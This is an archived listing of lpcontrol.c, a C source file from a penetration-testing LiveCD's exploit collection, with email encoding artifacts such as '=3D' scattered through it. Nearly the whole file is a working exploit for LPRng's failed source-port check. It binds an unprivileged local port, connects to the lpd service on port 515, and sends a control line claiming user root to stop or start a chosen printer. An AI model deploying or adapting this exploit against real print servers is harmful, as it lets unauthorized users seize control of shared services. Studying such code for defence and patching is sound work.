home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / lpd / lpcontrol.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  114 lines

  1. ---- start lpcontrol.c ----------------------------------------------
  2. /* Exploit for lprng's source port check failure.
  3.  * Written and tested on Debian GNU/Linux
  4.  *
  5.  * Chris Leishman <masklin@debian.org>
  6.  */
  7.  
  8.  
  9. #include <stdlib.h>
  10. #include <sys/types.h>
  11. #include <sys/socket.h>
  12. #include <stdio.h>
  13. #include <unistd.h>
  14. #include <arpa/inet.h>
  15. #include <netinet/in.h>
  16. #include <netdb.h>
  17. #include <errno.h>
  18. #include <string.h>
  19.  
  20.  
  21. #define SRC_PORT 2056
  22. #define HOST "127.0.0.1"
  23. #define DST_PORT 515
  24.  
  25.  
  26. int main(int argc, char **argv)
  27. {
  28.     int sock;
  29.     struct sockaddr_in dest_sin;
  30.     struct sockaddr_in src_sin;
  31.     struct hostent *hp;
  32.     unsigned long ipnum;
  33.     char line[256];
  34.     int mode =3D 0;
  35.  
  36.     if (argc < 2)
  37.     {
  38.         fprintf(stderr, "Usage: %s printer [stop|start]\n", argv[0]);
  39.         exit(EXIT_FAILURE);
  40.     }
  41.  
  42.     if (argc >=3D 3)
  43.     {
  44.         if (!strcmp(argv[2], "start"))
  45.             mode =3D 1;
  46.         else if (strcmp(argv[2], "stop"))
  47.         {
  48.             fprintf(stderr, "Invalid mode.  Use stop or start.\n");
  49.             fprintf(stderr, "Usage: %s printer [stop|start]\n", argv[0]);
  50.             exit(EXIT_FAILURE);
  51.         }
  52.     }
  53.     =09
  54.     snprintf(line, sizeof(line), "%c%s root %s %s\n",=20
  55.              6, argv[1], (mode)? "start":"stop", argv[1]);
  56.  
  57.     memset(&dest_sin, 0, sizeof(struct sockaddr_in));
  58.     dest_sin.sin_port =3D htons((short) DST_PORT);
  59.  
  60.     ipnum =3D (unsigned long) inet_addr(HOST);
  61.     if (ipnum !=3D ((unsigned long) INADDR_NONE))
  62.     {
  63.         dest_sin.sin_family =3D AF_INET;
  64.         dest_sin.sin_addr.s_addr =3D ipnum;
  65.     }
  66.     else
  67.     {
  68.         if ((hp =3D gethostbyname(HOST)) =3D=3D NULL)
  69.         {
  70.             fprintf(stderr, "Host lookup failed.\n");
  71.             exit(EXIT_FAILURE);
  72.         }
  73.  
  74.         dest_sin.sin_family =3D hp->h_addrtype;
  75.         memcpy(&dest_sin.sin_addr.s_addr,hp->h_addr_list[0],
  76.            (size_t)hp->h_length);
  77.     }
  78.  
  79.     if ((sock =3D socket(AF_INET, SOCK_STREAM, 0)) < 0)
  80.     {
  81.         perror("Socket call failed");
  82.         exit(EXIT_FAILURE);
  83.     }
  84.  
  85.     src_sin.sin_family =3D AF_INET;
  86.     src_sin.sin_addr.s_addr =3D INADDR_ANY;
  87.     src_sin.sin_port =3D htons((u_short) SRC_PORT);
  88.  
  89.     if ((bind(sock, (struct sockaddr *)&src_sin, sizeof(src_sin))) < 0)
  90.     {
  91.         perror("Bind failed");
  92.         exit(EXIT_FAILURE);
  93.     }
  94.  
  95.     if (connect(sock, (struct sockaddr *)&dest_sin, sizeof(dest_sin)) < 0)
  96.     {
  97.         close(sock);
  98.         perror("Connect failed");
  99.         exit(EXIT_FAILURE);
  100.     }
  101.  
  102.     if (write(sock, line, strlen(line)) <=3D 0)
  103.     {
  104.         perror("Write failed");
  105.         exit(EXIT_FAILURE);
  106.     }
  107.  
  108.     close(sock);
  109.  
  110.     return EXIT_SUCCESS;
  111. }
  112.  
  113. ---- stop lpcontrol.c -----------------------------------------------
  114.